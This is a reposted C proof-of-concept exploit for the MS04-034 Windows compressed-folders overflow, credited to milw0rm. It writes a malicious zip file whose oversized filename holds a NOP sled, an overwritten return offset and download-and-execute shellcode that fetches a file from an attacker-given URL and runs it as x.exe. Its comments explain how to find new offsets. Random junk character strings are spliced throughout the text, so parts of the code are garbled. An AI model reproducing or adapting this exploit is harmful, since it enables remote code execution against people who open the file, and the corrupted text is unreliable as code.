(MS04-034)Microsoft Windows Vulnerability in Compressed (zipped) Folders

韩冰

/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034) 4 v3 d" \0 Y8 s& `# [1 c2 l* * Tested under Windows XP SP0 Spanish/English * * Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html * Exploit Date: 21/10/2004 : Z1 o3 E- _% e g- `" _* * Tarako - Haxorcitos.com 2004 $ S& F+ d% M7 J0 v5 X4 s* * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS" 5 ?, b& v, b- Z* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION % p8 G( B+ M C' j! t7 C& n e) R* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * * Greetings t #haxorcitos, #dsr and #localhost @efnet 4 n# q. G$ M* F6 F6 e, @; P* * * How to get new offsets: * 1) attach debugger (i.e ollydbg) to explorer.exe , |! ^4 M5 X! y6 c, ?5 d9 e* 2) open the zip file as a folder and add or move some files to it * 3) search in the explorer.exe memory the shellcode and get the addresses * ) z( {' H4 d' d: ~- }6 }2 D) ~*/ #include <stdio.h> #include <windows.h> : ]# n" T' A# v+ o; |% J$ U! L #pragma pack(1) #define DATOS "Tarako-Haxorcitos.com" , g5 Z' d+ w2 H) atypedef struct { DWORD Signature; // PK.. 4 bytes (0x04034B50) ' d1 M" V& |1 J' g" j9 ?. i7 I! BWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas WORD CompressionMethod; WORD ModFileTime; WORD ModFileDate; + Y8 j% G' i: TDWORD Crc32; ) |8 b! f8 R! W5 k, O5 O+ cDWORD CompressedSize; , c2 D* w6 r" R l% j+ n s% n. \DWORD UncompressedSize; 4 e5 P3 s' n2 K& D XWORD FilenameLength; WORD ExtraFieldLength; $ h* b* A' }6 U% l0 \& u' a// filename (variable size) // extra field (variable size) }TOPHEADER; ! B3 P6 Q! ]; B( ^ # S: x8 p; R! [ u0 h; Q) ] * r- r& h, P$ w' btypedef struct { ! K# O% `# b# U6 X& \DWORD Signature; // PK.. 4 bytes (0x02014B50) : [5 K; D3 c) @/ c& X) XWORD MadeVersion; & f! f6 ]; J# I GWORD VersionNeeded; WORD GeneralPurposeFlag; // para el data descriptor y demas 3 d6 r1 d6 R& |% gWORD CompressionMethod; WORD ModFileTime; 9 k: E. G8 `5 G6 \WORD ModFileDate; DWORD Crc32; DWORD CompressedSize; DWORD UncompressedSize; WORD FilenameLength; ! p8 C6 f* S }5 E2 {WORD ExtraFieldLength; WORD FileCommentLength; WORD DiskNumberStart; WORD InternalFileAttributes; DWORD ExternalFileAttributes; - U S2 F6 _ e6 KDWORD RelativeOffsetOfLocalHeader; ' ?, m2 Y, _! q* e3 x7 ^& @( e// filename (variable size) : ] r' ]! \! Y$ x3 J: c+ r// extra field (variable size) 0 e/ |. W; v; y9 g, a// file comment (variable size) }MIDDLEHEADER; 9 _. O+ p7 J$ M: V * y& X( j# r. Z+ b3 [3 i) r1 etypedef struct { DWORD Signature; // PK.. 4 bytes (0x06054B50) WORD NumOfThisDisk; " y- G# S, x2 g2 k9 PWORD NumDisckStartCentralDirectory; " `' @- G1 V5 s/ q5 B: x7 t1 }WORD NumEntriesCentralDirOnThisDisk; WORD TotalNumEntriesCentralDir; . x1 c$ F. H l4 X9 z# Y/ mDWORD SizeCentralDirectory; : L3 C' W8 p: q; x( A9 g7 b! IDWORD OffsetCentraDirRespectStartDiskNum; WORD ZipCommentLength; 9 N3 \5 a- O, y) `/ j& d+ V// zipfile comment (variable size) 5 ~- c6 o" d7 x. N* } i C/ @' V7 y3 T}BOTTOMHEADER; /* % K& H2 Z; ]1 e8 y( F3 P: w3 Q* download shellcode - RaiSe - raise@netsearch-ezine.com . a' k/ Z# C" `% l, t* K3 r# U' [0 |6 l*/ 1 n; X& [. n4 g5 w1 W9 xchar shellcode1[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" $ F6 z3 Q' W9 a, ?$ E) A% s"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" 6 A+ D' u. R' f8 V"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" - k) b- x: R4 z) P"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" s. b, ~" t7 \/ \0 N7 K& J! M"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" ; K- I( o& J1 Q: E' A' M"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" * m5 U: {. D7 B' S"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" # q" d* Z: ` x1 t: M% Z W"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" ! o9 S8 |0 M! P1 O4 \"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" 2 W8 I$ @7 `& E. k" q0 m! P2 s"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" 8 L' d ^4 l2 W"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" 6 @. W( r- O% t2 h"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" , S6 {) u/ b( [ m7 Z"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" 5 i$ J) u4 m, s: L% y3 |$ J"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" % R' K' [1 b. M"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" ) K" V0 L/ p1 Y( E& u' @"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" 1 U; P9 c9 r8 E"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08"; # W6 [) {1 B( b; Z% b) L6 Jchar shellcode2[] ="\x08\x01"; char offset[]="\x41\x41\x41\x41"; 4 O% e8 q6 M" Y8 b: l* Achar jmpbelow[]= "\xeb\x06\x90\x90"; }4 E" t# i% p# o7 A int main(int argc,char *argv[]) { FILE *ZipFile; TOPHEADER *Cabecera1; / s" F/ `1 j$ L9 T% L8 sMIDDLEHEADER *Cabecera2; 4 ^4 P3 A/ C3 C& hBOTTOMHEADER *Cabecera3; DWORD c; UINT i; 7 V4 H: ? F5 d# B" l6 Kchar *filename; char *url; b( S! d1 n0 M: B1 e+ j printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); printf("\n Tarako - Tarako[AT]Haxorcitos.com\n"); if (argc!=2) { ' E$ ~+ o6 V# z0 B& vprintf("\n\n Usage: %s <URL> \n",argv[0]); # w3 I7 C! _! P' _1 _, n$ Dexit(1); , a" f1 Y9 K! o8 ]} url=argv[1]; printf("\n * URL: %s",url); if (!(ZipFile=fopen("prueba.zip","w+b"))) { - {: F" k$ p0 [1 ^; ^7 f4 \printf("\n [E] fopen()"); / D7 l1 m, Z& B+ l7 a( \' Gexit(1); : l" h0 R/ j) s( k- q7 _} + g2 h, w+ F6 u! ~ c=0x8000; // filename length & r( K9 Q, ]' j$ k6 Gfilename=(char*)malloc(sizeof(char)*c); 9 | d( f" w8 I6 U& _memset(filename,0,sizeof(filename)); " ?# s8 W2 |& A3 F8 I9 Y for( i=0x0;i<c;i++) filename=(BYTE)0x90; memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow)); memcpy(filename+0x1818,offset,strlen(offset)); 2 D2 k; S' T& q& }+ x7 g# I 8 @4 r8 t _0 _. d7 U0 e; Cmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1); memcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url)); , X( W. G: m Lmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1); " @7 i: s. Q: @# e0 o% L; Imemcpy(filename+(c-4),".txt",4); Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER)); Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER)); Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER)); memset(Cabecera1,0,sizeof(TOPHEADER)); memset(Cabecera2,0,sizeof(MIDDLEHEADER)); memset(Cabecera3,0,sizeof(BOTTOMHEADER)); $ ^4 b' y- t7 Y- i /////////////////////////////////////////////////////////////////// // TOPHEADER ) w9 t0 q, R5 p8 ^' r! e3 X; b; f/////////////////////////////////////////////////////////////////// " n7 v- c7 s7 R. uCabecera1->Signature=0x04034B50; // DWORD + W c' S5 ]7 K; ~" i1 xCabecera1->VersionNeeded=0x000A; // WORD Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas Cabecera1->CompressionMethod=0x0000; // WORD 8 T- E5 o; T5 J! Q9 A: @+ U [Cabecera1->ModFileTime=0x1362; // WORD Cabecera1->ModFileDate=0x3154; // WORD Cabecera1->Crc32=0x85B36639; // DWORD & M4 {) ~* A, ~* s) n Q6 j [& E5 m2 E0 pCabecera1->CompressedSize=0x00000015; // DWORD ! E! }2 F# f$ h; P9 fCabecera1->UncompressedSize=0x00000015; // DWORD , s9 y# y' d, s7 v# U7 GCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); 3 j* D" h5 F! pCabecera1->ExtraFieldLength=0x0000; // WORD $ E' A$ J5 d. v4 Z/////////////////////////////////////////////////////////////////// ( e; J- T% B5 [2 r* C /////////////////////////////////////////////////////////////////// 0 t6 ~. [: ~1 x9 q/ w( r// MIDDLEHEADER 3 I1 [5 }6 q* k6 I( y! ]- z/////////////////////////////////////////////////////////////////// , S: i5 e9 R6 b; N/ HCabecera2->Signature=0x02014B50; // DWORD Cabecera2->MadeVersion=0x0014; // WORD Cabecera2->VersionNeeded=0x000A; // WORD * G( r' I( n- n, e. j+ b+ _$ SCabecera2->GeneralPurposeFlag=0x0002; // WORD Cabecera2->CompressionMethod=0x0000; // WORD Cabecera2->ModFileTime=0x1362; // WORD Cabecera2->ModFileDate=0x3154; // WORD 0 L1 ]7 f+ Q+ w; F( vCabecera2->Crc32=0x85B36639; // DWORD Cabecera2->CompressedSize=0x00000015; // DWORD Cabecera2->UncompressedSize=0x00000015; // DWORD Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); Cabecera2->ExtraFieldLength=0x0000; // WORD - g1 g$ o" k6 d5 i% N7 u% mCabecera2->FileCommentLength=0x0000; // WORD Cabecera2->DiskNumberStart=0x0000; // WORD Cabecera2->InternalFileAttributes=0x0001; // WORD Cabecera2->ExternalFileAttributes=0x00000020; // DWORD % K3 @& j+ Z0 P/ k. K( X3 ~. u( ~Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD 2 g$ S6 R0 ?5 x# c8 Z0 R/////////////////////////////////////////////////////////////////// ' E$ y) Y1 p( n6 d/////////////////////////////////////////////////////////////////// // BOTTOMHEADER 0 M: s8 n7 S1 |0 Q7 {, {" {( `/////////////////////////////////////////////////////////////////// Cabecera3->Signature=0x06054B50; // DWORD ! l7 l: Q8 A6 F5 j4 a" Y# {Cabecera3->NumOfThisDisk=0x0000; // WORD 6 W# V/ T: {8 h- _4 d* hCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD # J3 |* k9 a% ]) A& \4 ]% H8 k5 YCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD 0 X$ C! \0 \/ i" U$ GCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD Cabecera3->ZipCommentLength=0x0000; // WORD /////////////////////////////////////////////////////////////////// fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile); 8 t2 N* w) f8 @: M) f7 }+ E : m* |! i( `' u- M" M# Ifwrite(filename, c, 1,ZipFile); 2 Q# U @2 R3 r* c. H* u" wfwrite(DATOS,strlen(DATOS),1,ZipFile); a6 [* L1 i a( P: J, n - i! S! a: d! I; O, sfwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile); fwrite(filename, c, 1,ZipFile); / d' K+ _0 N1 D ifwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile); 1 k: X. [" y' x fclose(ZipFile); , }, U* H. A2 A9 F, M& uprintf("\n * prueba.zip created\n"); # a! H* \, q |! \& nreturn 1; * [& c5 N( H& h8 E1 U( Y$ U; k9 x}//downloaded from milw0rm.com ; n5 {3 Q* I& s& C j0 N